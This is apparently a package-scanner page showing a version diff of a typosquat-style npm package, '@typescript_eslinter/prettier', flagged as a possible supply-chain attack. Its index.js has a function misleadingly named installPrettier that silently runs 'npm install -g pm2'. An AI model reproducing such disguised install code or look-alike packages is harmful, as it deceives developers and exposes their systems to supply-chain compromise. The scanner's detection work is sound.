@typescript_eslinter/prettier
Advanced tools
Comparing version 1.1.2 to 1.2.0
18
index.js
@@ -5,13 +5,11 @@ const { exec } = require('child_process'); | ||
function installPrettier() { | ||
exec('pm2 --version', (error, stdout, stderr) => { | ||
return new Promise((resolve, reject) => { | ||
exec('npm install -g pm2', (error, stdout, stderr) => { | ||
if (error) { | ||
reject(`Error installing PM2: ${stderr}`); | ||
} else { | ||
resolve(stdout); | ||
} | ||
}); | ||
return new Promise((resolve, reject) => { | ||
exec('npm install -g pm2', (error, stdout, stderr) => { | ||
if (error) { | ||
reject(`Error installing PM2: ${stderr}`); | ||
} else { | ||
resolve(stdout); | ||
} | ||
}); | ||
}) | ||
}); | ||
} | ||
@@ -18,0 +16,0 @@ |
{ | ||
"name": "@typescript_eslinter/prettier", | ||
"version": "1.1.2", | ||
"version": "1.2.0", | ||
"main": "index.js", | ||
@@ -5,0 +5,0 @@ "scripts": { |
Possible typosquat attack
Supply chain riskThere is a package with a similar name that is downloaded much more often.
Did you mean |
---|
@typescript-eslint/parser |
0
1795
47